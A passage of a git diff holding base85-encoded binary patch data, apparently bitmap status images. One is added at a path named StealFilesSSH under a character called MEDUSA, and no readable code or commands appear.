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 MMk$pkXDX`y1>|%o=Kufz literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH11.bmp b/resources/default_config/characters/MEDUSA/status/StealFilesSSH/StealFilesSSH11.bmp new file mode 100644 index 0000000000000000000000000000000000000000..13eaf41032aae5998046ee299b9ec66bc2182c67 GIT binary patch literal 18462 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 